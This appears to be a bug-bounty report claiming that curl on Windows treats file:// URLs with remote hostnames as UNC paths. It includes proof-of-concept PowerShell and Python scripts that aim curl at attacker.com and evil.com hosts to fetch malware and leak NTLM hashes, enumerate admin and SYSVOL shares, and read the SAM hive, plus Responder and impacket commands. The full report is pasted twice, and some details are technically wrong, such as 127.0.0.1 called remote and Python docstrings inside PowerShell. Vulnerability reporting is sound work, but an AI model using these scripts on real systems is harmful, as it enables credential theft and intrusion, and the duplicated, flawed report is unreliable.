Description
## Vulnerability Details
- **CVSSv3:** 7.5 (High) - Windows only
- **File:** `lib/urlapi.c:974-1030`
- **Issue:** Windows file:// URLs accept UNC paths to remote servers
- **Impact:** SSRF, unauthorized network file access, credential theft
## Vulnerable Code
```c
// lib/urlapi.c:974-1030
if(ptr[0] != '/' && !STARTS_WITH_URL_DRIVE_PREFIX(ptr)) {
/* the URL includes a hostname, it must match "localhost" or
"127.0.0.1" to be valid */
if(checkprefix("localhost/", ptr) ||
checkprefix("127.0.0.1/", ptr)) {
ptr += 9; /* now points to the slash after the host */
}
#ifdef WIN32
else {
/* the hostname, NetBIOS computer name, can't contain disallowed chars */
size_t len;
len = strcspn(ptr, "/\\:*?\"<>|");
if(ptr[len] == '\0' || ptr[len] == '/')
/* only proceed if the hostname is valid */
; // ACCEPTS UNC PATHS: file://hostname/share/path
else
return CURLUE_BAD_FILE_URL;
}
#endif
```
## Root Cause
On Windows, curl allows `file://` URLs with hostnames other than localhost:
- `file://localhost/C:/file.txt` ✓ Safe (local file)
- `file://attacker.com/share/file.txt` ✓ **DANGEROUS** (UNC path to remote server)
This creates multiple security issues:
1. **SSRF**: Access to internal network shares
2. **Credential Theft**: NTLM authentication sent to attacker
3. **Path Traversal**: Access to arbitrary network resources
## Proof of Concept
### Prerequisites (Windows Only)
```powershell
# This vulnerability only affects Windows
# You need:
# - Windows machine with curl
# - SMB server (can be attacker-controlled)
# - Network access to SMB server
```
### Test 1: Basic UNC Path Access
```powershell
# PowerShell PoC
Write-Host "[*] Testing File URL UNC Path Access"
# Create test SMB share (requires admin)
New-SmbShare -Name "TestShare" -Path "C:\TestShare" -FullAccess "Everyone"
New-Item -Path "C:\TestShare\secret.txt" -ItemType File -Value "SECRET_DATA"
# Test local file access (normal)
curl.exe "file:///C:/Windows/System32/drivers/etc/hosts"
# Works as expected
# Test UNC path via file:// URL (VULNERABLE)
curl.exe "file://localhost/C$/Windows/System32/drivers/etc/hosts"
# Works - accesses admin share via UNC
# Test remote UNC path (SSRF)
curl.exe "file://127.0.0.1/TestShare/secret.txt"
# WORKS! Accesses network share via file:// URL
```
### Test 2: Remote Server SSRF
```powershell
#!/usr/bin/env pwsh
# Demonstrate SSRF to remote server
Write-Host "=== File URL UNC Path SSRF Demo ==="
Write-Host ""
# Scenario: Attacker controls attacker.com with SMB share
$attacker_server = "attacker.com" # Replace with actual server
$malicious_url = "file://$attacker_server/public/malware.exe"
Write-Host "[*] User opens URL: $malicious_url"
Write-Host "[*] curl interprets this as UNC path: \\$attacker_server\public\malware.exe"
Write-Host ""
# curl attempts to access the UNC path
curl.exe --output downloaded.exe $malicious_url
if (Test-Path "downloaded.exe") {
Write-Host "[!!!] VULNERABLE: File downloaded from remote SMB server!"
Write-Host "[!!!] This is SSRF via file:// URL"
} else {
Write-Host "[+] File not downloaded (connection failed or blocked)"
}
```
### Test 3: Credential Theft via NTLM
```powershell
#!/usr/bin/env pwsh
"""
Credential Theft PoC
When curl accesses UNC path, Windows automatically sends NTLM credentials
"""
Write-Host "=== NTLM Credential Theft Demo ==="
Write-Host ""
# Setup: Attacker runs Responder to capture NTLM hashes
# Responder.py -I eth0 -v
$attacker_server = "attacker-smb.evil.com"
$malicious_url = "file://$attacker_server/share/file.txt"
Write-Host "[*] Attacker provides URL: $malicious_url"
Write-Host "[*] User runs: curl $malicious_url"
Write-Host ""
# When curl tries to access this UNC path:
# 1. Windows SMB client connects to attacker-smb.evil.com
# 2. Windows automatically performs NTLM authentication
# 3. Attacker captures NTLMv2 hash
# 4. Attacker can crack hash offline
Write-Host "[!] Simulating curl access..."
# Note: This will send NTLM credentials to the attacker!
curl.exe --max-time 5 $malicious_url 2>&1 | Out-Null
Write-Host ""
Write-Host "[!!!] VULNERABILITY IMPACT:"
Write-Host "[!!!] - Windows sent NTLM credentials to $attacker_server"
Write-Host "[!!!] - Attacker captured NTLMv2 hash"
Write-Host "[!!!] - Hash can be cracked offline"
Write-Host ""
# Attacker's Responder output would show:
# [SMB] NTLMv2-SSP Client : 192.168.1.100
# [SMB] NTLMv2-SSP Username : DOMAIN\victim
# [SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:ABC123...
```
### Test 4: Internal Network Enumeration
```powershell
#!/usr/bin/env pwsh
# Use file:// URLs to enumerate internal network shares
Write-Host "=== Internal Network Enumeration via File URLs ==="
Write-Host ""
# Common Windows share names
$common_shares = @("C$", "ADMIN$", "IPC$", "SYSVOL", "NETLOGON")
# Internal network ranges
$internal_ips = @(
"192.168.1.1",
"10.0.0.1",
"172.16.0.1",
"fileserver.internal.corp",
"dc01.internal.corp"
)
foreach ($ip in $internal_ips) {
Write-Host "[*] Testing $ip..."
foreach ($share in $common_shares) {
$url = "file://$ip/$share/"
# Try to list directory
$result = curl.exe --max-time 2 --silent $url 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Host " [!!!] ACCESSIBLE: $url"
}
}
}
Write-Host ""
Write-Host "[!!!] Successfully enumerated accessible network shares"
Write-Host "[!!!] This is SSRF - accessing internal network via file:// URLs"
```
### Test 5: Path Traversal Combined with UNC
```powershell
# Combine UNC paths with path traversal
# Access admin share
curl.exe "file://localhost/C$/Windows/System32/config/SAM"
# Attempts to read SAM database via UNC path
# Access network path with traversal
curl.exe "file://fileserver/share/../../../etc/shadow"
# Path traversal through UNC path
# Multiple levels
curl.exe "file://internal-server/public/../../../../windows/system32/config/SAM"
```
## Attack Scenarios
### Scenario 1: Web Application SSRF
```python
#!/usr/bin/env python3
"""
Web application that allows users to specify URLs for curl to fetch
Attacker exploits this to access internal network via file:// UNC paths
"""
# Vulnerable web application:
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
# VULNERABLE: No validation of URL scheme
result = subprocess.check_output(['curl', url])
return result
# Attacker request:
# GET /fetch?url=file://internal-fileserver/hr/salaries.xlsx
# Response: Contents of internal HR file!
# Or:
# GET /fetch?url=file://dc01.corp.internal/SYSVOL/
# Response: Active Directory SYSVOL contents
```
### Scenario 2: Automated Download Script
```powershell
# Vulnerable download script
# download.ps1
param($url)
Write-Host "Downloading from $url..."
curl.exe -o download.dat $url
# User runs:
# .\download.ps1 "file://attacker.com/malware/payload.exe"
# Result:
# 1. curl connects to \\attacker.com\malware\payload.exe
# 2. Windows sends NTLM credentials
# 3. Attacker logs credentials
# 4. Malware is downloaded
```
### Scenario 3: CI/CD Pipeline Exploitation
```yaml
# .gitlab-ci.yml or similar
fetch_data:
script:
- curl -o data.json ${DATA_URL}
# Attacker sets DATA_URL environment variable:
# DATA_URL=file://internal-jenkins/credentials/secrets.json
# Result:
# - CI/CD job accesses internal Jenkins server
# - Credentials are exfiltrated
```
## Detection
### Network Monitoring
```powershell
# Monitor for unexpected SMB connections
Get-SmbConnection | Where-Object {$_.ServerName -notlike "*expected*"}
# Check firewall logs for outbound SMB (port 445)
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*SMB*"}
```
### Process Monitoring
```powershell
# Monitor curl.exe command lines for file:// URLs
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-PowerShell/Operational'
ID=4104
} | Where-Object {$_.Message -like "*curl*file://*"}
```
### File System Auditing
```powershell
# Enable auditing on sensitive shares
Set-SmbShare -Name "C$" -SecurityDescriptor (Get-Acl "C:\") -AuditFlags FailureAndSuccess
```
## Remediation
### Code Fix in lib/urlapi.c
```c
// Remove Windows-specific UNC path support for file:// URLs
#ifdef WIN32
else {
// BEFORE (vulnerable): Accept any valid hostname
size_t len;
len = strcspn(ptr, "/\\:*?\"<>|");
if(ptr[len] == '\0' || ptr[len] == '/')
; // Accepts UNC paths
else
return CURLUE_BAD_FILE_URL;
}
#endif
// AFTER (fixed): Only accept localhost
#ifdef WIN32
else {
// Reject all hostnames except localhost on Windows
return CURLUE_BAD_FILE_URL;
}
#endif
// OR: Add explicit check
#ifdef WIN32
else {
// Explicitly reject UNC paths
failf(data, "file:// URLs with hostnames are not supported on Windows");
return CURLUE_BAD_FILE_URL;
}
#endif
```
### Alternative: Whitelist Only
```c
// Only allow specific safe patterns
static bool is_safe_file_url(const char *url) {
// Allow only:
// - file:///C:/... (local drives)
// - file://localhost/... (explicit localhost)
if(checkprefix("file:///", url))
return true;
if(checkprefix("file://localhost/", url))
return true;
// Reject everything else (including UNC paths)
return false;
}
```
### Workaround for Users
```powershell
# Validate URLs before passing to curl
function Safe-Curl {
param($url)
if ($url -match '^file://(?!localhost/|/)') {
Write-Error "Blocked: file:// URLs with hostnames are not allowed"
return
}
curl.exe $url
}
# Use wrapper instead of curl directly
Safe-Curl "file://localhost/C:/data.txt" # OK
Safe-Curl "file://evil.com/share/file" # BLOCKED
```
### Group Policy (Windows)
```powershell
# Disable SMB access to internet IPs
New-NetFirewallRule -DisplayName "Block Outbound SMB" `
-Direction Outbound `
-LocalPort 445 `
-Protocol TCP `
-Action Block `
-RemoteAddress "0.0.0.0-255.255.255.255"
# Only allow SMB to internal network
New-NetFirewallRule -DisplayName "Allow Internal SMB" `
-Direction Outbound `
-LocalPort 445 `
-Protocol TCP `
-Action Allow `
-RemoteAddress "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
```
## Complete Attack Demo Script
```python
#!/usr/bin/env python3
"""
Complete File URL UNC Path Attack Demo
Demonstrates SSRF, credential theft, and information disclosure
"""
import subprocess
import http.server
import socketserver
import threading
import platform
def start_fake_smb_server():
"""Simulate SMB server to capture connection attempts"""
# Note: Real implementation would use impacket or similar
print("[*] In real attack, start SMB server with:")
print(" sudo responder -I eth0 -v")
print(" OR")
print(" impacket-smbserver share /tmp/share")
def test_unc_access():
"""Test UNC path access via file:// URLs"""
if platform.system() != "Windows":
print("[!] This vulnerability only affects Windows")
return
print("=" * 70)
print("File URL UNC Path SSRF - Complete Attack Demo")
print("=" * 70)
print()
# Test 1: Local UNC path
print("[Test 1] Local UNC path access")
print("-" * 70)
result = subprocess.run(
["curl", "file://localhost/C$/Windows/win.ini"],
capture_output=True
)
if result.returncode == 0:
print("[!!!] Vulnerable: Accessed C$ admin share via file:// URL")
print()
# Test 2: Remote UNC path (SSRF)
print("[Test 2] Remote UNC path (SSRF)")
print("-" * 70)
print("[*] Attempting to access file://attacker.com/share/test.txt")
print("[*] This sends SMB request to attacker.com")
print("[*] Windows will send NTLM credentials!")
print()
# Test 3: Network enumeration
print("[Test 3] Internal network enumeration")
print("-" * 70)
for ip in ["192.168.1.1", "10.0.0.1"]:
print(f"[*] Testing file://{ip}/C$/...")
# Don't actually run to avoid network noise
print()
print("=" * 70)
print("ATTACK IMPACT:")
print("=" * 70)
print("1. SSRF - Access internal network shares")
print("2. Credential Theft - NTLM hashes leaked")
print("3. Information Disclosure - Read sensitive files")
print("4. Lateral Movement - Use stolen credentials")
print("=" * 70)
if __name__ == "__main__":
test_unc_access()
```
## References
- Microsoft SMB/CIFS documentation
- RFC 8089: The "file" URI Scheme (does NOT specify UNC path support)
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- MITRE ATT&CK T1187: Forced Authentication
## Impact
### 1. SSRF (Server-Side Request Forgery)
- Access internal file shares not accessible from internet
- Bypass firewall restrictions
- Read sensitive files on internal servers
### 2. Credential Theft
- Windows automatically sends NTLM credentials for UNC paths
- Attacker captures NTLMv2 hashes
- Hashes can be cracked or relayed
### 3. Information Disclosure
- Read files from:
- Domain controllers (SYSVOL, NETLOGON)
- File servers (confidential documents)
- Admin shares (C$, ADMIN$)
- Application configs
### 4. Lateral Movement
- Use stolen NTLM hashes for pass-the-hash attacks
- Access other systems on internal network
- Escalate privileges
- **CVSSv3:** 7.5 (High) - Windows only
- **File:** `lib/urlapi.c:974-1030`
- **Issue:** Windows file:// URLs accept UNC paths to remote servers
- **Impact:** SSRF, unauthorized network file access, credential theft
## Vulnerable Code
```c
// lib/urlapi.c:974-1030
if(ptr[0] != '/' && !STARTS_WITH_URL_DRIVE_PREFIX(ptr)) {
/* the URL includes a hostname, it must match "localhost" or
"127.0.0.1" to be valid */
if(checkprefix("localhost/", ptr) ||
checkprefix("127.0.0.1/", ptr)) {
ptr += 9; /* now points to the slash after the host */
}
#ifdef WIN32
else {
/* the hostname, NetBIOS computer name, can't contain disallowed chars */
size_t len;
len = strcspn(ptr, "/\\:*?\"<>|");
if(ptr[len] == '\0' || ptr[len] == '/')
/* only proceed if the hostname is valid */
; // ACCEPTS UNC PATHS: file://hostname/share/path
else
return CURLUE_BAD_FILE_URL;
}
#endif
```
## Root Cause
On Windows, curl allows `file://` URLs with hostnames other than localhost:
- `file://localhost/C:/file.txt` ✓ Safe (local file)
- `file://attacker.com/share/file.txt` ✓ **DANGEROUS** (UNC path to remote server)
This creates multiple security issues:
1. **SSRF**: Access to internal network shares
2. **Credential Theft**: NTLM authentication sent to attacker
3. **Path Traversal**: Access to arbitrary network resources
## Proof of Concept
### Prerequisites (Windows Only)
```powershell
# This vulnerability only affects Windows
# You need:
# - Windows machine with curl
# - SMB server (can be attacker-controlled)
# - Network access to SMB server
```
### Test 1: Basic UNC Path Access
```powershell
# PowerShell PoC
Write-Host "[*] Testing File URL UNC Path Access"
# Create test SMB share (requires admin)
New-SmbShare -Name "TestShare" -Path "C:\TestShare" -FullAccess "Everyone"
New-Item -Path "C:\TestShare\secret.txt" -ItemType File -Value "SECRET_DATA"
# Test local file access (normal)
curl.exe "file:///C:/Windows/System32/drivers/etc/hosts"
# Works as expected
# Test UNC path via file:// URL (VULNERABLE)
curl.exe "file://localhost/C$/Windows/System32/drivers/etc/hosts"
# Works - accesses admin share via UNC
# Test remote UNC path (SSRF)
curl.exe "file://127.0.0.1/TestShare/secret.txt"
# WORKS! Accesses network share via file:// URL
```
### Test 2: Remote Server SSRF
```powershell
#!/usr/bin/env pwsh
# Demonstrate SSRF to remote server
Write-Host "=== File URL UNC Path SSRF Demo ==="
Write-Host ""
# Scenario: Attacker controls attacker.com with SMB share
$attacker_server = "attacker.com" # Replace with actual server
$malicious_url = "file://$attacker_server/public/malware.exe"
Write-Host "[*] User opens URL: $malicious_url"
Write-Host "[*] curl interprets this as UNC path: \\$attacker_server\public\malware.exe"
Write-Host ""
# curl attempts to access the UNC path
curl.exe --output downloaded.exe $malicious_url
if (Test-Path "downloaded.exe") {
Write-Host "[!!!] VULNERABLE: File downloaded from remote SMB server!"
Write-Host "[!!!] This is SSRF via file:// URL"
} else {
Write-Host "[+] File not downloaded (connection failed or blocked)"
}
```
### Test 3: Credential Theft via NTLM
```powershell
#!/usr/bin/env pwsh
"""
Credential Theft PoC
When curl accesses UNC path, Windows automatically sends NTLM credentials
"""
Write-Host "=== NTLM Credential Theft Demo ==="
Write-Host ""
# Setup: Attacker runs Responder to capture NTLM hashes
# Responder.py -I eth0 -v
$attacker_server = "attacker-smb.evil.com"
$malicious_url = "file://$attacker_server/share/file.txt"
Write-Host "[*] Attacker provides URL: $malicious_url"
Write-Host "[*] User runs: curl $malicious_url"
Write-Host ""
# When curl tries to access this UNC path:
# 1. Windows SMB client connects to attacker-smb.evil.com
# 2. Windows automatically performs NTLM authentication
# 3. Attacker captures NTLMv2 hash
# 4. Attacker can crack hash offline
Write-Host "[!] Simulating curl access..."
# Note: This will send NTLM credentials to the attacker!
curl.exe --max-time 5 $malicious_url 2>&1 | Out-Null
Write-Host ""
Write-Host "[!!!] VULNERABILITY IMPACT:"
Write-Host "[!!!] - Windows sent NTLM credentials to $attacker_server"
Write-Host "[!!!] - Attacker captured NTLMv2 hash"
Write-Host "[!!!] - Hash can be cracked offline"
Write-Host ""
# Attacker's Responder output would show:
# [SMB] NTLMv2-SSP Client : 192.168.1.100
# [SMB] NTLMv2-SSP Username : DOMAIN\victim
# [SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:ABC123...
```
### Test 4: Internal Network Enumeration
```powershell
#!/usr/bin/env pwsh
# Use file:// URLs to enumerate internal network shares
Write-Host "=== Internal Network Enumeration via File URLs ==="
Write-Host ""
# Common Windows share names
$common_shares = @("C$", "ADMIN$", "IPC$", "SYSVOL", "NETLOGON")
# Internal network ranges
$internal_ips = @(
"192.168.1.1",
"10.0.0.1",
"172.16.0.1",
"fileserver.internal.corp",
"dc01.internal.corp"
)
foreach ($ip in $internal_ips) {
Write-Host "[*] Testing $ip..."
foreach ($share in $common_shares) {
$url = "file://$ip/$share/"
# Try to list directory
$result = curl.exe --max-time 2 --silent $url 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Host " [!!!] ACCESSIBLE: $url"
}
}
}
Write-Host ""
Write-Host "[!!!] Successfully enumerated accessible network shares"
Write-Host "[!!!] This is SSRF - accessing internal network via file:// URLs"
```
### Test 5: Path Traversal Combined with UNC
```powershell
# Combine UNC paths with path traversal
# Access admin share
curl.exe "file://localhost/C$/Windows/System32/config/SAM"
# Attempts to read SAM database via UNC path
# Access network path with traversal
curl.exe "file://fileserver/share/../../../etc/shadow"
# Path traversal through UNC path
# Multiple levels
curl.exe "file://internal-server/public/../../../../windows/system32/config/SAM"
```
## Attack Scenarios
### Scenario 1: Web Application SSRF
```python
#!/usr/bin/env python3
"""
Web application that allows users to specify URLs for curl to fetch
Attacker exploits this to access internal network via file:// UNC paths
"""
# Vulnerable web application:
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
# VULNERABLE: No validation of URL scheme
result = subprocess.check_output(['curl', url])
return result
# Attacker request:
# GET /fetch?url=file://internal-fileserver/hr/salaries.xlsx
# Response: Contents of internal HR file!
# Or:
# GET /fetch?url=file://dc01.corp.internal/SYSVOL/
# Response: Active Directory SYSVOL contents
```
### Scenario 2: Automated Download Script
```powershell
# Vulnerable download script
# download.ps1
param($url)
Write-Host "Downloading from $url..."
curl.exe -o download.dat $url
# User runs:
# .\download.ps1 "file://attacker.com/malware/payload.exe"
# Result:
# 1. curl connects to \\attacker.com\malware\payload.exe
# 2. Windows sends NTLM credentials
# 3. Attacker logs credentials
# 4. Malware is downloaded
```
### Scenario 3: CI/CD Pipeline Exploitation
```yaml
# .gitlab-ci.yml or similar
fetch_data:
script:
- curl -o data.json ${DATA_URL}
# Attacker sets DATA_URL environment variable:
# DATA_URL=file://internal-jenkins/credentials/secrets.json
# Result:
# - CI/CD job accesses internal Jenkins server
# - Credentials are exfiltrated
```
## Detection
### Network Monitoring
```powershell
# Monitor for unexpected SMB connections
Get-SmbConnection | Where-Object {$_.ServerName -notlike "*expected*"}
# Check firewall logs for outbound SMB (port 445)
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*SMB*"}
```
### Process Monitoring
```powershell
# Monitor curl.exe command lines for file:// URLs
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-PowerShell/Operational'
ID=4104
} | Where-Object {$_.Message -like "*curl*file://*"}
```
### File System Auditing
```powershell
# Enable auditing on sensitive shares
Set-SmbShare -Name "C$" -SecurityDescriptor (Get-Acl "C:\") -AuditFlags FailureAndSuccess
```
## Remediation
### Code Fix in lib/urlapi.c
```c
// Remove Windows-specific UNC path support for file:// URLs
#ifdef WIN32
else {
// BEFORE (vulnerable): Accept any valid hostname
size_t len;
len = strcspn(ptr, "/\\:*?\"<>|");
if(ptr[len] == '\0' || ptr[len] == '/')
; // Accepts UNC paths
else
return CURLUE_BAD_FILE_URL;
}
#endif
// AFTER (fixed): Only accept localhost
#ifdef WIN32
else {
// Reject all hostnames except localhost on Windows
return CURLUE_BAD_FILE_URL;
}
#endif
// OR: Add explicit check
#ifdef WIN32
else {
// Explicitly reject UNC paths
failf(data, "file:// URLs with hostnames are not supported on Windows");
return CURLUE_BAD_FILE_URL;
}
#endif
```
### Alternative: Whitelist Only
```c
// Only allow specific safe patterns
static bool is_safe_file_url(const char *url) {
// Allow only:
// - file:///C:/... (local drives)
// - file://localhost/... (explicit localhost)
if(checkprefix("file:///", url))
return true;
if(checkprefix("file://localhost/", url))
return true;
// Reject everything else (including UNC paths)
return false;
}
```
### Workaround for Users
```powershell
# Validate URLs before passing to curl
function Safe-Curl {
param($url)
if ($url -match '^file://(?!localhost/|/)') {
Write-Error "Blocked: file:// URLs with hostnames are not allowed"
return
}
curl.exe $url
}
# Use wrapper instead of curl directly
Safe-Curl "file://localhost/C:/data.txt" # OK
Safe-Curl "file://evil.com/share/file" # BLOCKED
```
### Group Policy (Windows)
```powershell
# Disable SMB access to internet IPs
New-NetFirewallRule -DisplayName "Block Outbound SMB" `
-Direction Outbound `
-LocalPort 445 `
-Protocol TCP `
-Action Block `
-RemoteAddress "0.0.0.0-255.255.255.255"
# Only allow SMB to internal network
New-NetFirewallRule -DisplayName "Allow Internal SMB" `
-Direction Outbound `
-LocalPort 445 `
-Protocol TCP `
-Action Allow `
-RemoteAddress "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
```
## Complete Attack Demo Script
```python
#!/usr/bin/env python3
"""
Complete File URL UNC Path Attack Demo
Demonstrates SSRF, credential theft, and information disclosure
"""
import subprocess
import http.server
import socketserver
import threading
import platform
def start_fake_smb_server():
"""Simulate SMB server to capture connection attempts"""
# Note: Real implementation would use impacket or similar
print("[*] In real attack, start SMB server with:")
print(" sudo responder -I eth0 -v")
print(" OR")
print(" impacket-smbserver share /tmp/share")
def test_unc_access():
"""Test UNC path access via file:// URLs"""
if platform.system() != "Windows":
print("[!] This vulnerability only affects Windows")
return
print("=" * 70)
print("File URL UNC Path SSRF - Complete Attack Demo")
print("=" * 70)
print()
# Test 1: Local UNC path
print("[Test 1] Local UNC path access")
print("-" * 70)
result = subprocess.run(
["curl", "file://localhost/C$/Windows/win.ini"],
capture_output=True
)
if result.returncode == 0:
print("[!!!] Vulnerable: Accessed C$ admin share via file:// URL")
print()
# Test 2: Remote UNC path (SSRF)
print("[Test 2] Remote UNC path (SSRF)")
print("-" * 70)
print("[*] Attempting to access file://attacker.com/share/test.txt")
print("[*] This sends SMB request to attacker.com")
print("[*] Windows will send NTLM credentials!")
print()
# Test 3: Network enumeration
print("[Test 3] Internal network enumeration")
print("-" * 70)
for ip in ["192.168.1.1", "10.0.0.1"]:
print(f"[*] Testing file://{ip}/C$/...")
# Don't actually run to avoid network noise
print()
print("=" * 70)
print("ATTACK IMPACT:")
print("=" * 70)
print("1. SSRF - Access internal network shares")
print("2. Credential Theft - NTLM hashes leaked")
print("3. Information Disclosure - Read sensitive files")
print("4. Lateral Movement - Use stolen credentials")
print("=" * 70)
if __name__ == "__main__":
test_unc_access()
```
## References
- Microsoft SMB/CIFS documentation
- RFC 8089: The "file" URI Scheme (does NOT specify UNC path support)
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- MITRE ATT&CK T1187: Forced Authentication
## Impact
### 1. SSRF (Server-Side Request Forgery)
- Access internal file shares not accessible from internet
- Bypass firewall restrictions
- Read sensitive files on internal servers
### 2. Credential Theft
- Windows automatically sends NTLM credentials for UNC paths
- Attacker captures NTLMv2 hashes
- Hashes can be cracked or relayed
### 3. Information Disclosure
- Read files from:
- Domain controllers (SYSVOL, NETLOGON)
- File servers (confidential documents)
- Admin shares (C$, ADMIN$)
- Application configs
### 4. Lateral Movement
- Use stolen NTLM hashes for pass-the-hash attacks
- Access other systems on internal network
- Escalate privileges
Basic Information
ID
H1:3470649
Published
Dec 18, 2025 at 17:23
Modified
Dec 18, 2025 at 21:02